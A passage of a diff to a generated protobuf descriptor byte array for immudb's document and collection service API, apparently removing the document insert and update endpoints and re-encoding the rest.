0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, - 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, - 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, - 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, - 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, - 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, - 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, - 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, + 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, - 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, - 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, - 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, + 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, - 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, + 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, - 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, - 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, - 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, - 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, - 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x33, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, + 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 